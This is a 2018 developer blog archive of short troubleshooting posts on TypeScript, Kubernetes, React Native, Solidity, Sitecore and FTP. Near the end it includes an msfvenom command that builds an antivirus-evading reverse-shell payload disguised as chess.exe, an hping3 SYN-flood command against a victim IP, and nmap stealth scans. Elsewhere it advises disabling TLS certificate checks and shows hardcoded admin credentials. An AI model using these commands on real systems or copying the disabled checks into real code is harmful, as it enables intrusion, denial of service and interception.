Posts

Showing posts from 2018

typescript error : es2015

Due to npm library called "@types/es6-shim" i have massive error and wasted 3 hours trying to figure out what went wrong. Luckily all the same error number and end with pretty much the same text - "must have identifical modifier".

Remove @types/es6-shim from your package.json and the folder in "node_modules/@types/es6-shim". Run tsc again Solved.


You might get these errors :-

 error TS2687: All declarations of 'size' must have identical modifiers.

error TS2687: All declarations of 'MIN_SAFE_INTEGER' must have identical modifiers.

error TS2687: All declarations of 'prototype' must have identical modifiers.

error TS2687: All declarations of 'EPSILON' must have identical modifiers.

typescript with azure/cosmo

The following are code snippet to use azure cosmos sql api kit in typescript :-


import { CosmosClient } from"@azure/cosmos"; constendpoint = "https://localhost:8081"; // Add your endpoint constmasterKey = "C2y6yDjf5/R+ob0N8A7Cgv30VRDJIWEHLM+4QDU5DE2nQ9nDuVTqobD4b8mGGyPMbIZnqyMsEcaGQy67XIw/Jw=="; // Add the masterkey of the endpoint
constclient = newCosmosClient({endpoint, auth: { masterKey }}); // Notice database variables are called one after another // asyncfunctionhelloCosmos() { constdbResponse = awaitclient.databases.createIfNotExists({ id :"TestDemo" });
letdatabase = dbResponse.database; constcoResponse = awaitdatabase.containers.createIfNotExists({ id:"DummyTestCollection" });
letcontainer = coResponse.container; console.log("Setting up the container...done!"); // add item to it // const { body : doc } = awaitcontainer.items.create({ 'name' :'jeremy', 'password' :'uGuessedit' }) }
h…

node azure/cosmo throwing exceptions

Bump into another one of these error while trying to use azure/cosmo db :-


{ Error: self signed certificate
    at TLSSocket.onConnectSecure (_tls_wrap.js:1048:34)
    at TLSSocket.emit (events.js:182:13)
    at TLSSocket._finishInit (_tls_wrap.js:628:8)
  code: 'DEPTH_ZERO_SELF_SIGNED_CERT',
  headers:
   { 'x-ms-throttle-retry-count': 0,
     'x-ms-throttle-retry-wait-time-ms': 0 } }



the solution is simply :-

set NODE_TLS_REJECT_UNAUTHORIZED=0




tsconfig.json: Build:No inputs were found in config file

Bump into this issue and the solution is relatively easy,  create an empty ts file in a folder or source directory, for example index.ts.



getting post parameters from expessjs

This is pretty straight forward. If you're using express 4.16, all you need to do is :-



app.use(express.json());
Then somewhere in your code :-



// create user router.post('/create', (req: Request, res: Response) => { console.log(req.body); // Greet the given name res.send(`create`); });

Getting helm to work in your local kubernetes cluster

Image
I assumed you already have helm installed. So let's run your helm charts

helm install --name my-release stable/grafana
Next run,
.\helm status my-release To retrieve your password run the following command :-

kubectl get secret --namespace default my-release-grafana  -o jsonpath="{.data.admin-password}"

And you will get something like this below :-

dU5YcUllZlBRcDdSNUJHYnJnNVFqQXp5NE9ZZ21KS0pMRnhHMTZYUQ==

Copy and paste this over to https://www.base64decode.org/ and decode it.

You probably gonna get this :-

uNXqIefPQp7R5BGbrg5QjAzy4OYgmJKJLFxG16XQ

Which i think is the standard password for Garfana - I could be wrong. :)

Forwarding it to a local port so you can access it using :- http://localhost:3000/login

kubectl --namespace default port-forward my-release-grafana-5657c7854d-m98sx 3000 And this is your login screen :-  And you will see grafana screen as shown below :-











nodejs + typescript + express

You can quickly setup your project by cloning this repo :- https://github.com/appcoreopc/node-typescript-express
Follow the instruction and run  "npm install"



Helm : Tiller not installed

Ran into this problem and you just need to run "helm init" to resolve this issue.

Try running other charts after this.


Unable to connect to the server: dial tcp [::1]:8080: connectex: No connection could be made because the target machine actively refused it.

Bump into this issue earlier and the reason for this is kubectl (kubernetes) is not able to find your config file through a system variable called KUBECONFIG.

Create this environment variable in powershell.  Ensure that you have it point to a user folder called ".\kube\config".

For example,

$KUBECONFIG = $HOME + "\.kube\config"


You might need to restart your Kubernetes cluster. I didn't and then i run "kubectl get nodes" to quickly test if it is working.
If you are trying to setup kubernetes, there is a docker version that comes with Kubernetes and you should use this version 

"Hyper-V PowerShell Module is not available" - when trying to run minikube (hyperV) on windows

Instead of using VirtualBox, you might want to take advantage of your hyperV. (I think using virtual box is probably easier) -

Please note, if you're trying to run kubernetes on a local cluster with docker hyperV, you should know that Docker for Windows supports Kubernetes directly. Please check out this post.

Anyways, should you come down this path, you need Docker-machine version 0.15.0. (v0.14.0) gives you hyperV module not found error".

Please download from here :-

1. Create a folder in C:\kubernetes (you need to place all files in C driver)

2  Please all your .exe file here (you need to download separately)

2.1 kubectl- kubernetes tool

2.2 docker-machine - version 0.15.0 that you can get from here    https://github.com/docker/machine/releases/download/v0.15.0/docker-machine-Windows-x86_64.exe
Rename this file to docker-machine.exe.

2.3 minikube.exe - https://github.com/kubernetes/minikube/releases/download/v0.28.2/minikube-windows-amd64. Rename to minikube.exe

If you insta…

Upgrading expo to latest version

There are some precaution to take care of when upgrading expo-cli to latest version. Somehow adb that resides in your directory C:\Users\username\AppData\Roaming\npm\node_modules\expo-cli might still be lock as it is being used by another process.

Please make sure you kill adb processes before running your upgrade.

Updating to the latest version is relatively easy - just run the following commands :



npm install expo-cli --global

react native - changing border color of list item or list

To ensure you have your top and bottom border color styled correctly, you have need to set List's containerStyle -> borderColor and ListeItem's containerStyle ->BorderBottomColor to your desired color.

This is what you should do (atleast for sdk 29 of expo), for some weird reason :-




exposdk requires expo to run

Image
In my case,  had to change to app.json to version 29.0.0. Then re-run "expo start" to run your app.





expo - metro bundle does not fire up correctly

Image
After upgrading my expo-cli, i can't seems to fire my metro bundler correctly.

Chrome seems to be complaining of invalid javascript MIME type. So i change my browser to Internet Explorer.




After switching, it seems like my Android Expo app are not able to connect to my app. Please make sure you have selected "Tunnel" options and then try again.









Simulating timeout for your redis server (Timeout performing EVAL)

I do not know why people would wanna do this .... .but i was tasked to do this. Maybe for tester to test it out. Here are some of the steps to reproduce this :

1. make sure you have installed redis. then go to C:\Program Files\Redis and run redis-cli
Assuming you are running your redis-server locally.

2. run the command "client pause" (this will pretty much stall your redis-server)

3. Hit into the page that uses redis-cache and you will get a time out similiar to the one below :-

Timeout performing EVAL, inst: 1, mgr: ExecuteSelect, err: never, queue: 2, qu: 0, qs: 2, qc: 0, wr: 0, wq: 0, in: 0, ar: 0, IOCP: (Busy=1,Free=999,Min=8,Max=1000), WORKER: (Busy=1,Free=32766,Min=8,Max=32767)

Normally you get this error when you redis server is running really slow.....




react native complete style properties

Complete list of properties for react native styles are given below :-

https://facebook.github.io/react-native/docs/layout-props

Selenium webdriver exits with error code 135

Bump into this error while trying to setup protractor to run locally on my machine. I do think protractor is awesome.

the problem here is that you need to make sure webdriver-manager is running. Start it using :-

webdriver-manager start 




Git delete branch locally and remotely on github.

Delete local branch

git branch -d tab_drawer

Delete remote branch in Git

git push git --delete api_integration




Reactive native : Uncaught Error: Invariant Violation: Element type is invalid: expected a string (for built-in components) or a class/function but got: object

This is hard to trace but essentially there was a difference in terms of having bracket in your code, for example,

Good


importNavigatorfrom'./tabs/home';

// Ok, If you have export default defined in your js


Fail


import { Navigator} from'./tabs/home';

// Works,f you js file has more than a default export.


Apparently this has to do with "De-structuring" object in javascript.


For example, say you have your components export that looks like this :-

exportconstTabs = createMaterialTopTabNavigator({ Home:Home, About:Settings, Contact:Settings },{ tabBarOptions: { activeTintColor:'#000', inactiveTintColor:'gray', style: { backgroundColor:'#fff', }, indicatorStyle: { backgroundColor:'#000', }, } });


This works.... .


import { Tabs } from'./tabs/home';














react-native still dependent on jdk 8.

To my surprise, reactive native is very much dependent on jdk 8. After installing and setting my java_home to point to jdk 10, it was not working anymore.


Android studio - Unable install Intel x86 HAXM - hardware accelerator

Trying to install  Intel x86 HAXM - hardware accelerator using Android studio. And just like the title of the post, i am not able to do so.

So best way to do it yourself. You have to download, extract and install it yourself. Go to the link here.

If you have problem trying write to C:\users\username\appdata\local\intel, please add "Everyone" to the list of users who can access this folder.









React Native error: “Could not determine java version 9/10"

Bump into this error earlier and thanks -to some magic of upgrading the distribution url to use gradle-4.3, we able to resolve this error :-



distributionUrl=https\://services.gradle.org/distributions/gradle-4.3-rc-2-all.zip

That was it.

Solidity contract test error : is not implicitly convertible to expected type uint256

I had this piece of code in my contract (just a property) and when i write my test, to my surprise i se that i need to include a function() parameter in the code to call it.




uintpublic _landCount;

// In test
contractInstance._landCount(); // Returns value.


react app start - configuring typescript + react

One of the best way to start creating application are create-react-app. It is completed driven by cli. I will try not to take away the glory from folks from microsoft. Please visit the link above and follow the instruction.

You should really use this to create a react quick start.

“Truffle test” fails - Could not find artifacts for xxxx from any sources

Bump into this issue and the solution to to "ensure your test contract name matches your contract filename.

For example, this is where you will get an error

TestLandContract.sol

contract TestLandContractOhCrap {
LandContract targetContract =LandContract(DeployedAddresses.LandContract());
function test() public {
uint data =8; Assert.equal(8, data, "Adoption of pet ID 8 should be recorded."); }
}

No error

TestLandContract.sol

contract TestLandContract {
LandContract targetContract =LandContract(DeployedAddresses.LandContract());
function test() public {
uint data =8; Assert.equal(8, data, "Adoption of pet ID 8 should be recorded."); }
}

Getting started with EOS block chain platform

docker is probably the easier way to setup EOS locally. So install Docker, if you do not have one. Pull down the image by runmning the following command
docker pull eosio/eos-dev
Next start your image running this :-
docker run --rm--name eosio -d-p8888:8888 -p9876:9876 -v /tmp/work:/work -v /tmp/eosio/data:/mnt/dev/data -v /tmp/eosio/config:/mnt/dev/config eosio/eos-dev /bin/bash -c"nodeos -e -p eosio --plugin eosio::wallet_api_plugin --plugin eosio::wallet_plugin --plugin eosio::producer_plugin --plugin eosio::history_plugin --plugin eosio::chain_api_plugin --plugin eosio::history_api_plugin --plugin eosio::http_plugin -d /mnt/dev/data --config-dir /mnt/dev/config --http-server-address=0.0.0.0:8888 --access-control-allow-origin=* --contracts-console"
There are some utilities like nodeos, cleos (client eos) and keosd which are needed.

Just run

docker exec -it /bin/bashMagically, you get all the tools mentioned above for free.


sitecore item api using powershell

Image
Here is an interesting problem, using powershell to call sitecore api's item. First we need to authenticate ourselves.

To Authenticate

# Your sitecore api login

$loginurl = 'https://yourserver/sitecore/api/ssc/auth/login'

# Converting object into a JSON

$Body = @{
    domain = "sitecore"
    username = "admin"
    password = "mradmin" 
}

$json = $Body | convertto-json


# Call to authenticate and store into session variable call "mysession". Please note that we do not put $ in front of it.

Invoke-WebRequest -Uri $loginurl -ContentType 'application/json' -Method 'POST' -Body $json -usebasicparsing -sessionvariable mysession

You should get something like this.



Next, we pass our session variable into our websession parameter (shown in bold).
$jsonContent = Invoke-WebRequest 'https:/yourserver/sitecore/api/ssc/item/%7B95FD0E53-0466-49A6-BB24-F5D2FE996393%7D' -WebSession $mysession -METHOD 'GET' -usebasicpa…

Getting a sitecore api item using curl

You can authenticate yourself using curl with the following curl command :-


curl -X POST  https://yourserver/sitecore/api/ssc/auth/login -c cookiefile -d "domain=sitecore&username=admin&password=mradmin"


When you are successfully authenticated, please try to request for the item using the following curl -

curl -b cookiefile curl -b cookiefile  https://yourserver/sitecore/api/ssc/item/%7B95FD0E53-0466-49A6-BB24-F5D2FE996393%7D


Please note that you need to use HTTPS.





tamperchrome : tool to help debug your http(s)

Tamperchrome is a cool extension to help you with your http debugging.  For more info, you can find out from here.


https://github.com/google/tamperchrome

solidity quick start

Keywords for solidity


mapping (mapping(_KeyType=>_ValueType) - use to express we're going to map 'KeyType' to get the intended 'ValueType'.  We will use address as a key and we get Voter type in return.

// This declares a state variable that// stores a `Voter` struct for each possible address.mapping(address=>Voter)publicvoters;
payable - if a function supports payment (transfer  / receive payment) 
storage -

memory -

stack  -


msg.sender is the current account interacting with a transaction. Data type is address.

A very simple, get / set contract property example :-




Coin balance example.

In this example, solidity code allows user to mint / create coins and then keep track it it. A call to 'coinbalance' you will be able to query amount in an address.







Some common global variables / terms

block.blockhash(uint numberOfBlock) returns (bytes32): hash which belongs to the given block – will only work for 256 of the most recent blocks, not including currentblo…

Python :- UnicodeDecodeError: 'charmap' codec can't decode byte

encounter this issue sometime ago and the reason this is happening is because open() file method was called without passing in encoding type like utf8, etc. If you open your file using the code below, the error should go away.



withopen(fname, encoding='utf8') as fp:

Database feature as a service framework

While database has been pretty old and dominant technology, we face a rather challenging issue with big data, ingesting data faster.

Here we proposed a database framework which sees database as a blob and services such as synchronization, indexing, sharding, scaling as a plug-in add-on service.

As database gets bigger, there is no standard way to make it faster. We need to figure out a way of learning data stored in a database and proposed ways to handle, store, retrieve and managed it.



Beckman database report is pretty interesting.

If you're interested about progress in database research by some of the top db researcher in the world, check out beckman report here. Explore their slides. Some of the researcher has some interesting point to put across.

after running npm install, you still didn't get your script to run on Windows

Please update your %PATH% to add the following path pattern depending on which user you used.

C:\Users\jeremywoo\AppData\Roaming\npm

That's it!



Creating nuget package - revisit

Image
To create a nuget package :-


a) Create your project like you would do normally.


b) Download nuget cli and place it in your project root directory. Next create your nuspec file.


c) Run "nuget pack AppConsole1.csproj" and not against your nuget spec file.

d) Setup local repository

Go to Tools -> Options -> Nuget Package Manager -> Package Sources ->

Click on the Green plus sign and setup a local repository by providing a Name and Source (folder path to your project) .




Done! :)

Please note : You can also bundle static file here.



Possible error :-

Invalid URI: The format of the URI could not be determined.

This happens if your have an attribute in your nuspec which is not a valid url value.


Value cannot be null or an empty string.
Parameter name: value

This happens when you have a mandatory attribute for example, name, description but it was omitted. 







sitecore - getting field value

From time to time you might need to find out what is the value for field value in sitecore.

You can use the following script to get field value.  First you query [Items] table and follow by [Fields] table  as shown in code below :-




async / await and promise

To ensure we make the correct async / await call, we still need Promises to resolve our task. Promise is like a marker that helps signified a task has been completed.

Pretty sure if you don't make use of promise, it is very unlikely that your function is awaited.

In this example, we're calling a long running external call to a service and then uses await to 'wait' for the results.

Results are then output into the console.










Multiple with typescript issues - cannot resolve console and async function or method in ES5/ES3 requires the 'Promise' constructor

Was facing multiple issues trying to write up an async function. These error messages are as follows :-

1, Cannot resolve console and async function

Solution :- Requires tsconfig.json to have the following configuration

npm install @types/node
2. Method in ES5/ES3 requires the 'Promise' constructor

Solution












An async function or method must have a valid awaitable return type

While trying to create an async function with a return type, i encounter this error message :-

"An async function or method must have a valid awaitable return type"

this simply means that we need to have a function with the following signature which receive a Promise





That's it ! :)




getting json post from express

With express 4.6, it comes with its json parser. We don't need to use body parser. All we need to do is setup this in our middleware and we're good to go.







debugging application with nodejs

Image
There are two easy ways to debug application written in nodejs which are :-

a) Nodejs - ChromeDev Tools -

First you need to run node --inspect, assuming you are trying to debug index.js scripts.

node --inspect=0.0.0.0:9229 index.js

next, you need to click on the "green" button.



If you do not see your scripts appearing, on your leftmost tab, you should see "FileSystem, Node". Select Node and then drill down until you see your scripts.


Place your break points as shown above


b) Visual Code - using this approach all you need to do is select "Debug" -> "Start Debugging"




working with dialogflow using google cloud sdk libraries

Google provides a comprehensive set of client libraries for working with dialogflow. Languages supported includes  C#, Go, Java, Node, PHP, Python and Ruby as can be downloaded from the link here.

You can list, create and delete intent.


Detail documentation can be found from the same link.



google dialog flow - importing and exporting code

Image
User are able to import and export code, by going into Dialogflow Console. Then click on the "Gear" -> Export and Import -> as shown in diagram below :-


And

msfvenom creating a reverse shell and evading payload from av

There are two types of shell namely bind and reverse shell. Bind shell creates a new service  and attacker connect to this service.

Reverse shell on the other hand, is triggered by the user while an attacker runs some listener and target machine.

msfvenom allows hacker to create / re-create a payload and hide it from AV detection.


The command below, hides our payload / attack using reverse_tcp using an encoder called shikata_ga_nai into a file called chess.exe.



msf > msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -x /usr/share/chess.exe -e x86/shikata_ga_nai -i 200 -f exe >chess.exe

To listen to any victim, we will issue the following commands :-


msf >use exploit/multi/handler

msf > set payload windows/meterpreter/reverse_tcp





hping3 - packet crafting

Hping3 is a ping command but slightly more advance.


Simple use case scenario

Get traceroute for a host

hping3 --traceroute -V -1 0daysecurity.com
Sends a Syn packet to port 80.
hping3 -V -S -p 80  0daysecurity.com


Advance use case scenario


xmas scan

hping3 -c 1 -V -p 80 -s 5050 -M 0 -UPF 0daysecurity.com
null scan - if target port is closed, it sends TCP RST. If it is open, the target discard TCP NULL scan, sending no reply
hping3 -c 1 -V -p 80 -s 5050 -Y 0daysecurity.com
DOS Lan Attack 

hping3 -V -c 1000000 -d 120 -S -w 64 -p 445 -s 445 --flood --rand-source VICTIM_IP--flood: sent packets as fast as possible. Don't show replies.--rand-dest: random destionation address mode. see the man.-V <-- li="" verbose=""> -c --count: packet count-d --data: data size-S --syn: set SYN flag-w --win: winsize (default 64)-p --destport [+][+] destination port(default 0) ctrl+z inc/dec-s --baseport: base source port (default random)

zenmap commonly used for scanning a network

zenmap is a port scanning tool. To fire this up in Kali Linux, goto Application -> Information Gathering -> ZenMap UI.

Commonly used command :-


a) nmap 192.168.0.0/25

send TCP SYNC to 1000 common ports. Also send imcp echo request to check if server is up

b) nmap -O 192.168.1.1

identify operating system of the host

c) nmap -sL 192.168.1.1

Do a simple DNS query for a specified ip and discover hostname in a network without querying individually servers in a network


d) nmap -sS -sU -PN 192.168.0.164 -

-sS is a stealth scan

-sU initiates a UDP scan


e) nmap -T4 -A 192.168.0.100

Performs aggressive scanning with -A option

f) nmap -T4 -F -v 192.168.0.100

Performs a fast scan with -F option while -v means verbose.








cnn from scratch with keras - code review

This post gives a working sample of training neutral net with cnn in keras.

CNN setup is based on Yan LeCun configuration.



model = Sequential() model.add(Conv2D(32, (3, 3), input_shape=input_shape)) model.add(Activation('relu')) model.add(MaxPooling2D(pool_size=(2, 2)))
model.add(Conv2D(32, (3, 3))) model.add(Activation('relu')) model.add(MaxPooling2D(pool_size=(2, 2)))
model.add(Conv2D(64, (3, 3))) model.add(Activation('relu')) model.add(MaxPooling2D(pool_size=(2, 2)))
model.add(Flatten()) model.add(Dense(64)) model.add(Activation('relu')) model.add(Dropout(0.5)) model.add(Dense(1)) model.add(Activation('sigmoid'))

model.compile(loss='binary_crossentropy', optimizer='rmsprop', metrics=['accuracy'])

validation_generator = test_datagen.flow_from_directory( validation_data_dir, target_size=(img_width, img_height), batch_size=batch_size, class_mode='binary')
test_datagen is of type ImageDataGenerator which helps with gen…

"C:\Microsoft.Cpp.Default.props" was not found.

I was getting this error when running npm install.

The imported project "C:\Microsoft.Cpp.Default.props" was not found. Confirm that the path in the declaration is correct, and that the file exists on disk.
Solution :-

SET VCTargetsPath=C:\Program Files (x86)\MSBuild\Microsoft.Cpp\v4.0\v140

Thanks to Stackoverflow for this answer! :)






understanding keras 's layer

dot - computes a dot product between 2 tensors. Just like doing multiplication.

conv2d - creates a convulsion - a square box that you hover over a 2d image matrix.

maxPool2d - taking the max values out of a stride after we iterate our image with a predefined filter size. Small little window walks through our image to produce a matrix - which made up of biggest value of a filter.

To see more please read from this link here.

https://www.quora.com/What-is-max-pooling-in-convolutional-neural-networks

dense layer - it is a linear function which maps input directly to output based on a predefined weight. sometimes weight can be a softmax function.



dropout is a techniques used to prevent over fitting in neural network. Performs averaging and prevent co-adaptions.





Sourcetree - pulling remote branch to your local drive

Image
To pull remote branch into your sourcetree is pretty easy with sourcetree.

Double click on any of the branch below :-






then you will be prompted with the following screen :-



Just provide a name and you will get your remote branch downloaded locally.




Git - reset all local changes and commit then sync with remote branch

If you ever need to discard local change and sync everything from the start



git reset --hard origin/develop (develop is your remote branch)

git pull origin develop  (just funny they omit the slash here

This is all you need. 

classifying text sentiment simple way

Once of the easiest way to classify a text sentiment is to use the following Keras code :-

A Git a day : Merge vs rebase

Image
Merge combines commit from say a master branch into a feature branch while retaining history from both branch.


Rebase places new changes on top of a master branch. While the picture looks fine, all changes from feature branch are sync with master's commits. If this is the other way around, rebasing master in feature branch, then master commits will be lost.

So the golden rule of using rebase is :-

Is anyone looking / using this branch before we do our rebasing. We don't want to change history for master and confuse developers.

If you want to use rebase, create a feature branch.




Interactive rebasing - here you get to choose which histories you want to be included in the commit.

Sitecore Commerce server configuration : value cannot be null

Image
Bump into this error and i decided to disable my Sitecore from using SiteCore Commerce server. 




So go into App_Config and then rename CommerceServer.Core.config to CommerceServer.Core.config_disabled.

Try to refresh your browser

COM services control panel (comexp.msc)

It has been such a long time that i had to deal with COM service. The command to kick off this is called "comexp.msc". 

Image
I find the following information is relevant when it comes to FTP over TLS, that i ripped it out of Fluent FTP site.

These are the commands issued by the client to configure / setup channel to use a  TLS .

Outputs coming out from console are show here.




FTP Support
Mapping table documenting supported FTP commands and the corresponding API.. Connection commands CommandAPIDescriptionUSER, PASSCredentialsLogin with username & passwordQUITDisconnect()DisconnectPASV, EPSV, EPRTDataConnectionTypePassive & Active FTP modesFEATHasFeature()Get the features supported by serverSYSTGetSystem()Get the server system typeOPTS UTF8 ONEncodingEnables UTF-8 filenamesOPTS UTF8 OFFEncoding, DisableUTF8()Disables UTF-8 filenamesAUTH TLSEncryptionModeSwitch to TLS/FTPSPBSZ, PROTEncryptionMode and
DataConnectionEncryptionConfigure TLS/FTPS connectionCCCPlainTextEncryptionSwitch to plaintext FTPPRETAutomaticPre-transfer file informationTYPE AUploadDataType and
DownloadDataTypeTransfer data in ASCIITYPE …

fluent ftp - transferring file securely

I don't think you will believe this but to transfer or upload a file securely, all you need to do with fluent ftp is the following :-

I download and trace through fluent ftp code and this is as fluent as it can get.





If you get "unexpected format " - this means the protocol you specified is not supported by your server. Please find out

Transfering files via FTPS

Image
WinSCP provides easy to use nuget library to work with FTP, FTPS (Secure FTP over SSL /  TLS) and SFTP (ssh over ftp)

In my scenario, I am trying to transfer file via FTPS.

If you need some help with the codes, download the WinSCP installer and try connecting to the server and try out the supported protocol like ssl, tls or ssh. Goto -> Session -> Generate Session URL / Code.




To help you figure out the code, you can try looking at .Net assembly code tab.





So this will help you resolve many of the issue trying understand how to configure your session.


Some common error messages you will get includes :-

"SessionOptions.Protocol is Protocol.Sftp or Protocol.Scp, but SessionOptions.SshHostKeyFingerprint is not set." - Please try out approaches above.

You can always use "GiveUpSecurityAndAcceptAnyTlsHostCertificate" or "GiveUpSecurityAndAcceptAnySshHostKey".










Creating a ftp upload client

Creating a ftp client is relatively easy. I got it working with the following code snippet.  The problem i had was with parsing the url with filename before i can upload a file. Tricky...


Getting result from HttpResponseMessage

The fastest way to get json out of a HttpClient's GetAsync method is shown in code below :-

var result = await response.Content.ReadAsStringAsync();